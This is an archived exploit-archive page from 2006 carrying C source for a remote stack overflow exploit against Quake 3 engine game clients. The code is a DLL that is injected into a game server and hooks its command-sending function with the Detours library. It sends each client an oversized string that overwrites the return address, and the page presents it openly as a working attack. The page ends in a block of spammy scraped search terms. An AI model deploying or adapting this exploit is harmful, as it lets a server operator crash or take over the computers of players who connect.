about advertise contact
Search: Home Vulnerabilities Exploits News Articles RSS Feeds Archive

exploits , vulnerabilities , articles , Quake 3 Engine Client CG_ServerCommand() Remote Overflow Exploit




2006-07-02 Quake 3 Engine Client CG_ServerCommand() Remote Overflow Exploit
Rated as : High Risk

/*
Quake 3 Engine Client CG_ServerCommand() Remote Stack Overflow Exploit
(Win32)
Written by RunningBon

E-Mail: runningbon@gmail.com
IRC: irc.rizon.net #kik

This is a DLL, which gets injected into the server exe.

You will need Microsoft Detours library to compile this exploit
(http://research.microsoft.com/sn/detours/)

Use this responsibly. You are responsible for any damage you cause using
this.

Info:
The string is heavily filtered before the overflow occurs, so a lot of
bytes get stripped. Might want to try alphanum shellcode..
*/

#include <stdio.h>
#include <windows.h>
#include <detours.h>

struct VersionStruct {
	char *pVersionString;
	DWORD dwVersionStringAddr;
	DWORD dwSendServerCommandAddr;
	DWORD dwFillSize;
	DWORD dwNewEIP;
};

VersionStruct Versions[] = {
	{ "SOF2MP GOLD V1.03", 0x5598F8, 0x478660, 999, 0x33333333
},	//SoF2 1.03
};

VersionStruct *pVersion = NULL;

void (*orig_SV_SendServerCommand)(LPVOID pCl, const char *fmt, ...);
void SV_SendServerCommand_Hook(LPVOID pCl, const char *fmt, ...)
{
	char szString[4096];
	char *pPtr = NULL;

	if(pVersion != NULL)
	{
		memset(szString, 0, sizeof(szString));
		pPtr = &szString[0];

		memset(pPtr, 'a', pVersion->dwFillSize);
		pPtr += pVersion->dwFillSize;

		memcpy(pPtr, (LPVOID)&pVersion->dwNewEIP, sizeof(DWORD));
		pPtr += sizeof(DWORD);

		orig_SV_SendServerCommand(pCl, szString);
	}
}

bool WINAPI DllMain(HINSTANCE hInst, DWORD dwReason, LPVOID lpReserved)
{
	if(dwReason == DLL_PROCESS_ATTACH)
	{
		for(int i = 0; i < sizeof(Versions) / sizeof(Versions[0]); i++)
		{
			if(!stricmp((char*)Versions[i].dwVersionStringAddr,
Versions[i].pVersionString))
			{
				pVersion = &Versions[i];
				break;
			}
		}

		if(pVersion == NULL)
		{
			//Could not find correct version
			return 1;
		}

		DetourFunction((BYTE*)pVersion->dwSendServerCommandAddr,
(BYTE*)SV_SendServerCommand_Hook);
		_asm mov [orig_SV_SendServerCommand], eax
	}

	return 1;
}
securitydot.net - 2006-07-02

Advertising

Copyright 2007, SecurityDot
Wed, 16 Dec 2009 00:43:01 +0000

Friends : milw0rm.com , secunia.com , securityfocus.com
GOOGLE
NEWS EXPLOITS VULNS
exploits , 0day exploits , newest exploits , vulnerabilities , newest vulnerabilities , 0day vulnerabilities , newest articles , linux articles , articles
Charmi in ip board 2 news for c include.ph www trisha TAMIL ACTO tamilsex.c get emails Free+video www.sexsil GET /galle www.allmpe msrpc expl www.400886 Www.indias Sexy+vidio Sexygril News Searc mail+hack www seesed Video+ful rahma azha www.4488.m Sexygril www.slin8. php-nuke 2 www.w89.co 200 /compo maxcpm.inf www.vedeo. gnome expl nanga asi www.fuxing www.slin8. slave *** xoop mahasiswi And 1 PHP-Nuke 8 WWW.TAMILS sharp scho mambo Remo www.ourkut xxxmovies Deepika Pa freeindian S...temp/t o51k.org.r kaktuz ip board 2